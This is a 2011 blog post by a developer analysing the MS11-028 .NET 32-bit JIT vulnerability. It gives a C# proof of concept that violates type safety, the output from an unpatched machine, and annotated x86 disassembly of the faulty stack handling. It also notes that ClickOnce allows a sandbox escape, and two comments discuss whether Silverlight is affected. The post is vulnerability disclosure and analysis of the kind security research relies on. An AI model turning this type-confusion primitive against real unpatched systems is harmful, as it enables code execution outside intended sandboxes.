# Tuesday, 19 April 2011
« MS11-028 Vulnerability Details | Main | New Development Snapshot »
MS11-028 Vulnerability Details

The bug report apparently originated on stackoverflow and was subsequently filed on Microsoft connect. So it has been public since August 4, 2010 and easily findable in connect (that's how I found it, by searching for JIT bugs). Microsoft seems to believe that since they have not seen any widespread exploits of .NET vulnerabilities (see claim here) that this was not a high priority issue.

I've drawn my conclusions and disabled running all .NET code in the browser on my system.

It should also be noted that using ClickOnce, this issue can be used to execute code outside of the Internet Explorer Protected Mode sandbox.

Here is a simple example that uses the bug to violate type safety:

using System;
using System.Runtime.InteropServices;
using System.Runtime.CompilerServices;

[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct RunLong {
  public byte Count;
  public long Value;

  public RunLong(byte count, long value) {
    Count = count;
    Value = value;
  }
}

class Program {
  static void Main(string[] args) {
    try {
      Whoop(null, null, args, null, Frob(new RunLong(1, 0)));
    } catch { }
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static object Frob(RunLong runLong) {
    return null;
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static void Whoop(object o1, object o2, object o3, Program p, object o5) {
    Console.WriteLine("p = " + p);
    throw new Exception();
  }
}

Running this on an unpatched system (we compile with /platform:x86, because only the 32 bit JIT is affected):

C:\temp>csc /platform:x86 program.cs

C:\temp>program
p = System.String[]

Here we see that p, typed as Program, contains a string[]. This is a classic type safety hole and can be used like this.

Generated Code

Here's the code generated for the highlighted line by the unpatched JIT:

   mov   eax,1
   xor   ecx,ecx
   xor   edx,edx
   push  esi
   push  ecx
   push  eax                    ; incorrect instruction
   push  eax                    ; incorrect instruction
   mov   word ptr [esp+1],cs    ; incorrect instruction
   call  Frob
   push  eax
   xor   edx,edx
   xor   ecx,ecx
   call  Whoop

The three incorrect instructions are supposed to push the RunLong value on the stack (padded to 12 bytes), but instead push 8 bytes (and an incorrect value) and store the cs segment register (?). This causes the stack to become unbalanced (because Frob pops 12 bytes off the stack) and the result is that the third parameter to Whoop (o3) ends up in the place of fourth parameter (p).

The resulting unbalanced stack would result in a crash, so Whoop throws an exception to restore the stack to a sane state.

Tuesday, 19 April 2011 13:54:49 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
Tuesday, 19 April 2011 21:37:14 (W. Europe Daylight Time, UTC+02:00)
So the obvious question is: does this affect the Silverlight runtime as well?
sukru
Wednesday, 20 April 2011 08:35:19 (W. Europe Daylight Time, UTC+02:00)
Silverlight is not affected. I'm not sure why, they may have fixed it an in interim Silverlight update, but it is also possible it never suffered from this bug, because I believe that the Silverlight JIT does less optimizations.
Name
E-mail
Home page

I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.

Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)

Answer:  
Comment (HTML not allowed)  

Live Comment Preview